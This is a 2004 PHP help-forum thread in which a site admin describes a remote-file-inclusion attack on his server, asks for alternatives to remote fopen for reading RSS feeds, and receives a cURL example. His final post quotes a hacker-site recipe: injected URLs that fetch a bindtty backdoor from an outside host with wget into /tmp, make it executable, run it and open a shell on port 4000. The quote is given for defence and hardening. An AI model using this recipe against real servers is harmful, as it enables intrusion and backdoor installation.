Page 1 of 1

Alternative to fopen/ help on PHP security

Posted: Sun Apr 18, 2004 12:38 am
by mikusan
Hi, we have recently been unfortunate to have witnessed an attack. The attackers were able to PHP inject code to gain shell, and from that went on and uploaded a troyan.

We have pinned down some security holes, by disabling exec(), system()... we also disabled fopen from working for non localhost files.

This actually poses a problem for the RDF feeds that are on our website, which use fopen to read the RDF feed, and then parse it with xml. Now, I was hoping someone could help me find an alternative to fopen, or an alternative to secure my server.

I figured instead of fopen i can somehow make PHP grab the xml file through HTTP by sending a GET request, but i am not sure where to start looking for this.

Thank you for your help.

Posted: Sun Apr 18, 2004 2:15 am
by JAM
Can you explain abit more indept on how you fopen() the files?
There is quite abit options to make sure that the file used to fopen really is hosted on the server, and it "should" not pose a threat.

You might want to take a look at cURL ( http://www.php.net/curl ) for other ways also.

Posted: Sun Apr 18, 2004 4:07 am
by steve2004
Hi
just curious are you allowing the xml feeds to be asigned to a variable

using include();?

Posted: Sun Apr 18, 2004 11:45 am
by mikusan
Hi, there are two RDF feeds i am trying to get. One of them is a slashdot feed. And it uses a modified version of the code provided by slashdot. The parsing is done differently but the fetching is the same.

You fopen('http://link', 'a'); And then you fread the file. By parsing it with embedded php xml functions. Now, this works fine, if you allow fopen to open files on remote hosts.

We have very few options to secure the server, so we considered this option, for curl to function correctly it seems from a first look at the link JAM gave me, you still need to fopen the file, it seems.

Is there a way to set up a bunch of trusted hosts for fopen? I am being very general sorry, but our server went down again. We are securing it as we speak, so we are doing many things at once.

Posted: Sun Apr 18, 2004 12:59 pm
by JAM

Code: Select all

<?php
   $url = "http://slashdot.org/slashdot.rdf";
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
   curl_setopt($ch, CURLOPT_URL, $url);
   $result = curl_exec($ch); // run the whole process
   curl_close($ch); 
   echo $result;
?>
No fopen()'ing here ($result holding the content). Or did I misunderstand you? Perhaps the similiar thing can be made for the values inside $result also.

But I'm intrigued on how to understand how the attack you witnessed were done. Can you explain it, perhaps not indepth, abit? How is the script buildt to make the attack possible etc. etc.

If not comfortable discussing it in public, please do PM or mail me, as I'm interested in see what I can learn from it.

Posted: Mon Apr 19, 2004 1:12 am
by mikusan
Thanks for that code, as soon as i catch a breath of time I will try it out.

About the attack, I would be interested to see what you guys think would be a good way to secure it. Of course, the problem is not PHP but people who don't know how to use it properly. The attack made use of PHP injection on one of the many pages that we host, the page was real poor scripting as well as a sloppy use of global variables. Some hacker website posted the following. And this is very similar to the attack we have received:
new bug from irc.brasnet.org http://www.target.com/index.php?content=h ttp://www.bywordonline.com/sc/app.txt?&cmd=cd ... uname%20-a; you can get bindtty from http://www.source.com/bindtty and put it in (/tmp). example : http://www.target.com/index.php?content ... e.com/sc/a pp.txt?&cmd=wget+www.source.com /bindtty+-O+/tmp/bindtty and to active the bindtty do this command /tmp/ http://www.target.com/index.php?content ... e.com/sc/a pp.txt?&cmd=chmod+/tmp/bindtty th en http://www.target.com/index.php?content ... wordonline. com/sc/app.txt?&cmd=tmp /.bindtty to run the bindtty open putty then telnet to port 4000.
So basically, one of our pages had sloppy use of global variables, which enabled the attacker to inject the content part of the address. Then used this to execute a script to get shell access, by using PHP's system() command. From then on... it gets ugly...

We have slapped the people that made that page do vulnerable and disabled global variables, exec(), system (), and fopen () to remote locations.

I don't know. How else to secure ourselves from poor programming out of our control.[/quote]